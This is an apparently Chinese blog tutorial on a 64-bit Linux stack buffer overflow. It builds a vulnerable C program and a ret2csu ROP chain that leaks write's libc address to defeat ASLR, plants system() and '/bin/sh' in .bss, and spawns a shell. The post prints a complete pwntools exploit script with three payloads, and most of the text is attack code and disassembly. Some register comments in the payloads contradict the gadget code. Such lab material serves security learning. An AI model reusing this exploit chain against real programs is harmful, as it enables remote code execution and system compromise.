1. 程式人生 > >linux 64位棧溢位分析

linux 64位棧溢位分析

除錯環境是ubuntu16 64位 這次開啟了DEP、ASLR(知道libc.so情況下) 還是參考了《一步一步學ROP之linux_x64篇》這篇文章。 程式碼是1.c:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, World\n", 13);
}
gcc -fno-stack-protector -o 1 1.c 開啟ASLR:
sudo -s 
echo 2 > /proc/sys/kernel/randomize_va_space
exit
首先獲取幾個變數: main函式地址:
[email protected]:~/test$ objdump -d 1 | grep main
  400410:	e8 4b 00 00 00       	callq  400460 <[email protected]+0x10>
0000000000400450 <[email protected]>:
  400494:	e8 b7 ff ff ff       	callq  400450 <[email protected]>
0000000000400587 <main>:
[email protected]:~/test$ 
可以看到main函式地址是0x400587。 .bss段的首地址:
[email protected]
:~/test$ readelf -S 1 | grep bss [26] .bss NOBITS 0000000000601040 00001040 [email protected]:~/test$
可以看到.bss段的首地址是0x601040 介紹一下linux64位的函式傳參方式,是通過rdi rsi rdx rcx r8 r9依次入棧的 (Windows64位是rcx rdx r8 r9依次入棧的)。所以如果需要呼叫函式,就需要控制rdi rsi等暫存器,而不僅僅是控制棧了。 這就需要尋找相關程式碼了,在libc.so中有現成的。 使用命令objdump -D 1檢視檔案1中的彙編程式碼。 直接檢視兩處關鍵程式碼: 1.
  400616:	48 83 c4 08          	add    $0x8,%rsp
  40061a:	5b                   	pop    %rbx
  40061b:	5d                   	pop    %rbp
  40061c:	41 5c                	pop    %r12
  40061e:	41 5d                	pop    %r13
  400620:	41 5e                	pop    %r14
  400622:	41 5f                	pop    %r15
  400624:	c3                   	retq   


2. (此處跟一步一步學ROP之linux_x64篇中的略有不同)
   400600:	4c 89 ea             	mov    %r13,%rdx
  400603:	4c 89 f6             	mov    %r14,%rsi
  400606:	44 89 ff             	mov    %r15d,%edi
  400609:	41 ff 14 dc          	callq  *(%r12,%rbx,8)
  40060d:	48 83 c3 01          	add    $0x1,%rbx
  400611:	48 39 eb             	cmp    %rbp,%rbx
  400614:	75 ea                	jne    400600 <__libc_csu_init+0x40>

先分析第一處,咱慢慢分析
如圖所示,就是講棧上的資料放到指定暫存器中。 在看第二處,如果此時rbx=0,r12可以控制 就可以調到任意地址執行程式碼。後邊有個判斷如果rbp等於rbx,那麼就會繼續執行第一次的程式碼。 通過以上的介紹,可以看到通過精心的佈置棧中的資料,便可以控制rbx,rbp,r12-r15暫存器,通過第二處的轉化,即可以控制rdx、rsi、edi暫存器,最後跳轉到r12暫存器處,執行程式碼。 我們先構造payload1,利用write()輸出write在記憶體中的地址。注意我們的gadget是call qword ptr [r12+rbx*8],所以我們應該使用write.got的地址而不是write.plt的地址。並且為了返回到原程式中,重複利用buffer overflow的漏洞,我們需要繼續覆蓋棧上的資料,直到把返回值覆蓋成目標函式的main函式為止。
#rdi=  edi = r13,  rsi = r14, rdx = r15 
#write(rdi=1, rsi=write.got, rdx=4)
payload1 =  "\x00"*136
payload1 += p64(0x400616) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x400600) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)


按照我剛才介紹的,此時棧中的資料如下:
可以看到經過這樣處理之後,r15=8,r14=got_write,r13=1,r12=got_write,rbp=1,rbx=0, 在經過第二處程式碼處理,rdx=1,rsi=got_write,edi=8,call [r12+rbx*8]=call[got_write],此時就可以將write的函式地址打印出來了。(函式引數通過rdi rsi rdx傳遞了) 然後rbx加1,與rbp=1比較,正好相等,跳轉沒有實現,繼續往下執行,由於下邊全是0,最後跳轉到函式main處繼續執行。 payload1分析完成。 通過偏移就可以計算出system函式的地址了。 繼續分析payload2,利用read()將system()的地址以及“/bin/sh”讀入到.bss段記憶體中。
#rdi=  edi = r13,  rsi = r14, rdx = r15 
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 =  "\x00"*136
payload2 += p64(0x400616) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(16) + p64(bss_addr) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x400600) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)



print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)

p.send(p64(system_addr))
p.send("/bin/sh\0")
sleep(1)


跟上邊差不多就不分析了。 payload3:
#rdi=  edi = r13,  rsi = r14, rdx = r15 
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 =  "\x00"*136
payload3 += p64(0x400616) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr+8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x400600) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload3 += "\x00"*56
payload3 += p64(main)

print "\n#############sending payload3#############\n"

sleep(1)
p.send(payload3)
即執行system("/bin/sh").system()的地址儲存在了.bss段首地址上,“/bin/sh”的地址儲存在了.bss段首地址+8位元組上。 最終exp:
#!/usr/bin/env python
from pwn import *

elf = ELF('1')
libc = ELF('libc.so')

p = process('./1')
#p = remote('127.0.0.1',10001)

got_write = elf.got['write']
print "got_write: " + hex(got_write)
got_read = elf.got['read']
print "got_read: " + hex(got_read)

main = 0x400587

off_system_addr = libc.symbols['write'] - libc.symbols['system']
print "off_system_addr: " + hex(off_system_addr)

#rdi=  edi = r13,  rsi = r14, rdx = r15 
#write(rdi=1, rsi=write.got, rdx=4)
payload1 =  "\x41"*136
payload1 += p64(0x400616) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(8) + p64(got_write)+p64(1)# pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x400600) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)

p.recvuntil("Hello, World\n")
print "\n#############sending payload1#############\n"
p.send(payload1)
sleep(1)

write_addr = u64(p.recv(8))
print "write_addr: " + hex(write_addr)

system_addr = write_addr - off_system_addr
print "system_addr: " + hex(system_addr)

bss_addr=0x601040

p.recvuntil("Hello, World\n")

#rdi=  edi = r13,  rsi = r14, rdx = r15 
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 =  "\x00"*136
payload2 += p64(0x400616) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(16) + p64(bss_addr) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x400600) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)

print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)

p.send(p64(system_addr))
p.send("/bin/sh\0")
sleep(1)

p.recvuntil("Hello, World\n")

#rdi=  edi = r13,  rsi = r14, rdx = r15 
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 =  "\x00"*136
payload3 += p64(0x400616) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr+8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x400600) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload3 += "\x00"*56
payload3 += p64(main)

print "\n#############sending payload3#############\n"

sleep(1)
p.send(payload3)

p.interactive()

這段最終的exp跟參考文章的還是不一樣的,主要是第二段程式碼不一樣造成的,所以也進行了相應修改。 效果展示:
祝好!!!

相關推薦

linux 64溢位分析

除錯環境是ubuntu16 64位 這次開啟了DEP、ASLR(知道libc.so情況下) 還是參考了《一步一步學ROP之linux_x64篇》這篇文章。 程式碼是1.c: #include <stdio.h> #include <stdlib.h&g

[原理分析]Linux下的溢位案例分析-GDB除錯操練[2]

摘要: 原版本中的問題主要在於除錯過程中,蠻力的痕跡太重,沒有很好地體現常用的除錯準則;本文在原版本的基礎上,融入參考文獻中提及的除錯原則,重新審視和操練該問題,希望儘量體現出除錯中常用的思維法則。 測試的平臺:1.  ubuntu 9;   gcc 4.4.1;   G

使用VMware創建虛擬機及安裝Red Hat Linux 64

mage 創建 使用 ges vmware img ado 64位 安裝 使用VMware創建虛擬機及安裝Red Hat Linux 64位

kali Linux 64安裝python的gmpy2庫報錯

               前段時間 網上找了個解密RSA的Python指令碼,興高采烈地拿到Kali Linux中跑一下,然後提示沒安裝gmpy2這個庫,接下來就遇到了一系列小的問題,大概說一下解決辦法。 1. 執行pip install gmpy2, 報錯,提示  

在 RedHat Linux 64系統中DB2 9.7的問題解決方法

DB2 安裝完成後準備啟動時,系統報錯,詳細資訊如下 [[email protected] ~]$ db2startdb2start: error while loading shared libraries: libaio.so.1: cannot open sh

Linux核心--網路實現分析(二)--資料包的傳遞過程(上)

本文分析基於Linux Kernel 1.2.13作者:閆明注:標題中的”(上)“,”(下)“表示分析過程基於資料包的傳遞方向:”(上)“表示分析是從底層向上分析、”(下)“表示分析是從上向下分析。上一篇博文中我們從巨集觀上分析了Linux核心中網路棧的初始化過程,這裡我們再

ORACLE 11G LINUX 64 版 安裝中缺少必要包的解決方法(詳細)

oracle安裝過程中有缺少包的檢測,以下實踐檢測:os:linux redhat 6.6 64位libaio-0.3.105:os自帶libaio-0.3.107-10.el6.x86_64.rpm:rpm -ivh libaio-0.3.107-10.el6.x86_64

Linux核心--網路實現分析(十)--網路層之IP協議(下)

本文分析基於Linux Kernel 1.2.13作者:閆明注:標題中的”(上)“,”(下)“表示分析過程基於資料包的傳遞方向:”(上)“表示分析是從底層向上分析、”(下)“表示分析是從上向下分析。上篇博文分析傳輸層最終會呼叫函式ip_queue_xmit()函式,將傳送資料

nodejs在linux 64上的安裝

下載:從 http://nodejs.org/download/  下載適合的版本。 解壓:tar xzvf node-v0.10.19-linux-x64... 比如解壓到 /alidata/node-v0.10.19-linux-x64 設定環境變數: # vi /e

Oracle Linux(64)安裝64Oracle 11g遇到ins_ctx.mk問題

1. 用root,使用yum install -y compat-gcc* compat-glibc* compat-libstd* 然後retry即可 2. 在安裝linux X86-64的Oracle11g時,在連結過程中出現了這個錯誤。 詳細錯誤資訊為: E

淺析Linux 64系統虛擬地址和實體地址的對映及驗證方法

# 虛擬記憶體 先簡單介紹一下作業系統中為什麼會有虛擬地址和實體地址的區別。因為Linux中有程序的概念,那麼每個程序都有自己的獨立的地址空間。 現在的作業系統都是64bit的,也就是說如果在使用者態的程序中建立一個64位的指標,那麼在這個程序中,這個指標能夠指向的範圍是0~0xFFFFFFFFFFFFFF

溢位攻擊系列:shellcode在linux x86 64攻擊獲得root許可權(三)linux下程序中的多使用者

在linux程序中會存在兩個使用者狀態,一種是實際使用者ID, 一種是有效使用者ID 實際使用者ID uid, 就是我是誰,也就是你在操作時候的使用者ID, 通常你可以用命令id 來檢視自己的資訊 >id uid=1005(raintung) gid=100(use

溢位攻擊系列:shellcode在linux x86 64攻擊獲得root許可權(二)shellcode

shellcode 是一組指令opcode, 是可以被程式執行,因為shellcode是要直接操作暫存器和函式,所以opcode 必須是十六進位制的形式。 既然是攻擊,那shellcode 主要的目的是呼叫系統函式,而在x86下 在linux下有兩種方式。 第一種是通過直接

linux漏洞分析入門筆記-溢位

ida7.0 ubuntu16.04 lts 0x00:環境配置 使用IDA遠端除錯Linux程式步驟如下: 1. 在進行遠端除錯之前需要對Linux平臺進行一些準備工作。在IDA的安裝目錄中的dbgsrv資料夾中,選擇linux_server或者linux_serverx64複製到需要除錯Linux

Jarvis OJ- [XMAN]level2/3_x64-Writeup——64簡單溢位

兩道64位棧溢位,思路和之前的32位溢位基本一致,所以放在一起 在這兩道中體現的32位和64位的主要區別在於函式引數傳遞的方式 在32位程式執行中,函式引數直接壓入棧中     呼叫函式時棧的結構為:呼叫函式地址->函式的返回地址->引數n->引數n-1->···->引數1 在6

VMware Workstation 安裝Red Hat Enterprise Linux 6 64

鏈接 應該 ati 橋接 鏡像 比較 install 開始 rhel 1.首先下載需要安裝的鏡像,可以去官網下載,但需要註冊賬號,比較麻煩,我在網絡上找的,鏈接如下(供參考): rhel-server-6.4-x86_64-dvd.isohttp://pan.baidu

Linux系統查看系統是32還是64方法總結 in 創新實訓

-a 如果 rep 分享 查看 blog cpu 整理 ble 這篇博客是總結、歸納查看Linux系統是32位還是64位的一些方法,很多內容來自網上網友的博客。本篇只是整理、梳理這方面的知識,方便自己忘記的時候隨時查看。 方法1:getconf LONG_BIT 查看 如下

禪道linux安裝 64

log 啟動服務 項目管理軟件 soft zentao lin art 啟動 我們 1.下載文件64位下載:wget http://dl.cnezsoft.com/zentao/9.0.1/ZenTaoPMS.9.0.1.zbox_64.tar.gz 32位下載:wget

SAS(統計分析軟件)下載 v9.4 64版 附安裝教程

地圖 基於web 實用 生成 支持 三維 交付 包含 數據訪問 SAS9.4的全稱為Statistical Analysis System,這是一款強大實用的統計分析軟件,之前小編為大家提供過類似的spss,不過兩者的側重點不同。SAS9.4包含了BASE SAS模塊、ST

關於64 windows&linux雙系統引導問題

start trac track uid too 處理 blog windows for 換了臺本子win7 64位,抽空做個雙系統,裝了下linux。 遇到開機問題:進linux可以正常使用,進win7花屏死機,初步估計是grub(此時的boot sector位grub)